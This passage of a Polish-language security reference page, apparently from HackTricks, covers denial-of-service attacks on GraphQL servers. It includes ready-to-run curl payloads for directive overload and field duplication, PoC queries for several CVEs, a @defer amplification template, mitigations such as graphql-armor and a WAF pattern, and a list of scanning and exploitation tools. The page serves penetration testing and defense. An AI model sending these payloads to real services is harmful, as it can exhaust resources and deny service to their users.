W tym przykładzie 10 różnych zapytań jest grupowanych w jednym żądaniu, zmuszając serwer do jednoczesnego wykonania wszystkich z nich. Jeśli zostanie to wykorzystane z większym rozmiarem partii lub kosztownymi obliczeniowo zapytaniami, może to przeciążyć serwer.
|
||
|
||
### **Wrażliwość na Przeciążenie Dyrektyw**
|
||
|
||
**Przeciążenie Dyrektyw** występuje, gdy serwer GraphQL zezwala na zapytania z nadmiernymi, powielonymi dyrektywami. Może to przytłoczyć parser i wykonawcę serwera, szczególnie jeśli serwer wielokrotnie przetwarza tę samą logikę dyrektywy. Bez odpowiedniej walidacji lub ograniczeń, atakujący może to wykorzystać, tworząc zapytanie z licznymi powielonymi dyrektywami, aby wywołać wysokie zużycie obliczeniowe lub pamięci, prowadząc do **Denial of Service (DoS)**.
|
||
```bash
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
Zauważ, że w poprzednim przykładzie `@aa` jest niestandardową dyrektywą, która **może nie być zadeklarowana**. Powszechną dyrektywą, która zazwyczaj istnieje, jest **`@include`**:
|
||
```bash
|
||
curl -X POST \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
Możesz również wysłać zapytanie introspekcyjne, aby odkryć wszystkie zadeklarowane dyrektywy:
|
||
```bash
|
||
curl -X POST \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
A następnie **użyj niektórych z niestandardowych**.
|
||
|
||
### **Wrażliwość na duplikację pól**
|
||
|
||
**Duplikacja pól** to wrażliwość, w której serwer GraphQL zezwala na zapytania z tym samym polem powtarzanym nadmiernie. Zmusza to serwer do wielokrotnego rozwiązywania pola dla każdej instancji, co zużywa znaczące zasoby (CPU, pamięć i wywołania bazy danych). Atakujący może stworzyć zapytania z setkami lub tysiącami powtarzających się pól, powodując wysokie obciążenie i potencjalnie prowadząc do **odmowy usługi (DoS)**.
|
||
```bash
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
## Recent Vulnerabilities (2023-2025)
|
||
|
||
> Ekosystem GraphQL rozwija się bardzo szybko; w ciągu ostatnich dwóch lat ujawniono kilka krytycznych problemów w najczęściej używanych bibliotekach serwerowych. Gdy znajdziesz punkt końcowy GraphQL, warto więc zidentyfikować silnik (zobacz **graphw00f**) i sprawdzić działającą wersję w odniesieniu do poniższych luk.
|
||
|
||
### CVE-2024-47614 – `async-graphql` directive-overload DoS (Rust)
|
||
* Affected: async-graphql < **7.0.10** (Rust)
|
||
* Root cause: brak limitu na **duplikowane dyrektywy** (np. tysiące `@include`), które są rozwijane w wykładniczą liczbę węzłów wykonawczych.
|
||
* Impact: pojedyncze żądanie HTTP może wyczerpać CPU/RAM i spowodować awarię usługi.
|
||
* Fix/mitigation: zaktualizuj do ≥ 7.0.10 lub wywołaj `SchemaBuilder.limit_directives()`; alternatywnie filtruj żądania za pomocą reguły WAF, takiej jak `"@include.*@include.*@include"`.
|
||
```graphql
|
||
# PoC – repeat @include X times
|
||
query overload {
|
||
__typename @include(if:true) @include(if:true) @include(if:true)
|
||
}
|
||
```
|
||
### CVE-2024-40094 – `graphql-java` obejście głębokości/kompleksowości ENF
|
||
* Dotknięte: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
|
||
* Przyczyna: **ExecutableNormalizedFields** nie były brane pod uwagę przez instrumentację `MaxQueryDepth` / `MaxQueryComplexity`. Rekurencyjne fragmenty zatem omijały wszystkie limity.
|
||
* Wpływ: nieautoryzowany DoS przeciwko stosom Java, które osadzają graphql-java (Spring Boot, Netflix DGS, produkty Atlassian…).
|
||
```graphql
|
||
fragment A on Query { ...B }
|
||
fragment B on Query { ...A }
|
||
query { ...A }
|
||
```
|
||
### CVE-2023-23684 – WPGraphQL SSRF do łańcucha RCE
|
||
* Dotknięte: WPGraphQL ≤ 1.14.5 (wtyczka WordPress).
|
||
* Przyczyna: mutacja `createMediaItem` akceptowała kontrolowane przez atakującego **`filePath` URL**, umożliwiając dostęp do wewnętrznej sieci i zapisywanie plików.
|
||
* Wpływ: uwierzytelnieni Edytorzy/Autorzy mogli uzyskać dostęp do punktów końcowych metadanych lub zapisywać pliki PHP w celu zdalnego wykonania kodu.
|
||
|
||
---
|
||
|
||
## Nadużycie dostarczania inkrementalnego: `@defer` / `@stream`
|
||
Od 2023 roku większość głównych serwerów (Apollo 4, GraphQL-Java 20+, HotChocolate 13) wdrożyła dyrektywy **dostarczania inkrementalnego** zdefiniowane przez WG GraphQL-over-HTTP. Każda opóźniona łatka jest wysyłana jako **osobny kawałek**, więc całkowity rozmiar odpowiedzi staje się *N + 1* (koperta + łatki). Zapytanie, które zawiera tysiące małych opóźnionych pól, generuje zatem dużą odpowiedź, kosztując atakującego tylko jedno żądanie – klasyczny **amplifikacyjny DoS** i sposób na obejście reguł WAF dotyczących rozmiaru ciała, które badają tylko pierwszy kawałek. Członkowie WG sami zgłosili ryzyko.
|
||
|
||
Przykładowy ładunek generujący 2 000 łat:
|
||
```graphql
|
||
query abuse {
|
||
% for i in range(0,2000):
|
||
f{{i}}: __typename @defer
|
||
% endfor
|
||
}
|
||
```
|
||
Mitigacja: wyłącz `@defer/@stream` w produkcji lub wymuś `max_patches`, skumulowane `max_bytes` i czas wykonania. Biblioteki takie jak **graphql-armor** (patrz poniżej) już wymuszają rozsądne domyślne wartości.
|
||
|
||
---
|
||
|
||
## Middleware defensywne (2024+)
|
||
|
||
| Projekt | Uwagi |
|
||
|---|---|
|
||
| **graphql-armor** | Middleware walidacyjne Node/TypeScript opublikowane przez Escape Tech. Implementuje ograniczenia plug-and-play dla głębokości zapytań, liczby aliasów/pól/dyrektyw, tokenów i kosztów; kompatybilne z Apollo Server, GraphQL Yoga/Envelop, Helix itp. |
|
||
|
||
Szybki start:
|
||
```ts
|
||
import { protect } from '@escape.tech/graphql-armor';
|
||
import { applyMiddleware } from 'graphql-middleware';
|
||
|
||
const protectedSchema = applyMiddleware(schema, ...protect());
|
||
```
|
||
`graphql-armor` teraz zablokuje zbyt głębokie, złożone lub bogate w dyrektywy zapytania, chroniąc przed powyższymi CVE.
|
||
|
||
---
|
||
|
||
## Narzędzia
|
||
|
||
### Skanery podatności
|
||
|
||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testuje powszechne błędne konfiguracje punktów końcowych graphql
|
||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skrypt audytujący bezpieczeństwo GraphQL z naciskiem na wykonywanie zbiorczych zapytań i mutacji GraphQL.
|
||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identyfikuje używany graphql
|
||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zestaw narzędzi, który można wykorzystać do pobierania schematów i wyszukiwania danych wrażliwych, testowania autoryzacji, ataków brute force na schematy oraz znajdowania ścieżek do danego typu.
|
||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Może być używany jako samodzielny lub [rozszerzenie Burp](https://github.com/doyensec/inql).
|
||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany jako klient CLI, aby zautomatyzować ataki: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Narzędzie, które wymienia różne sposoby **osiągnięcia danego typu w schemacie GraphQL**.
|
||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Następca trybów samodzielnych i CLI InQL
|
||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie Burp lub skrypt Pythona do zaawansowanego testowania GraphQL. _**Skaner**_ jest rdzeniem InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik schematu introspekcji. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w uporządkowany widok do analizy. Komponent _**Atakujący**_ pozwala na przeprowadzanie zbiorczych ataków GraphQL, co może być przydatne do omijania źle zaimplementowanych limitów prędkości: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Próbuje uzyskać schemat, nawet gdy introspekcja jest wyłączona, korzystając z pomocy niektórych baz danych Graphql, które zasugerują nazwy mutacji i parametrów.
|
||
|
||
### Skrypty do wykorzystywania powszechnych podatności
|
||
|
||
- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Zbiór skryptów do wykorzystywania podatności na ataki typu denial-of-service w podatnych środowiskach graphql.
|
||
|
||
### Klienci
|
||
|
||
- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Klient GUI
|
||
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Klient GUI
|
||
|
||
### Testy automatyczne
|
||
|
||
{{#ref}}
|
||
https://graphql-dashboard.herokuapp.com/
|
||
{{#endref}}
|
||
|
||
- Wideo wyjaśniające AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||
|
||
## Odniesienia
|
||
|
||
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||
- [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
||
- [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
||
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
||
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
||
- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
|
||
- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|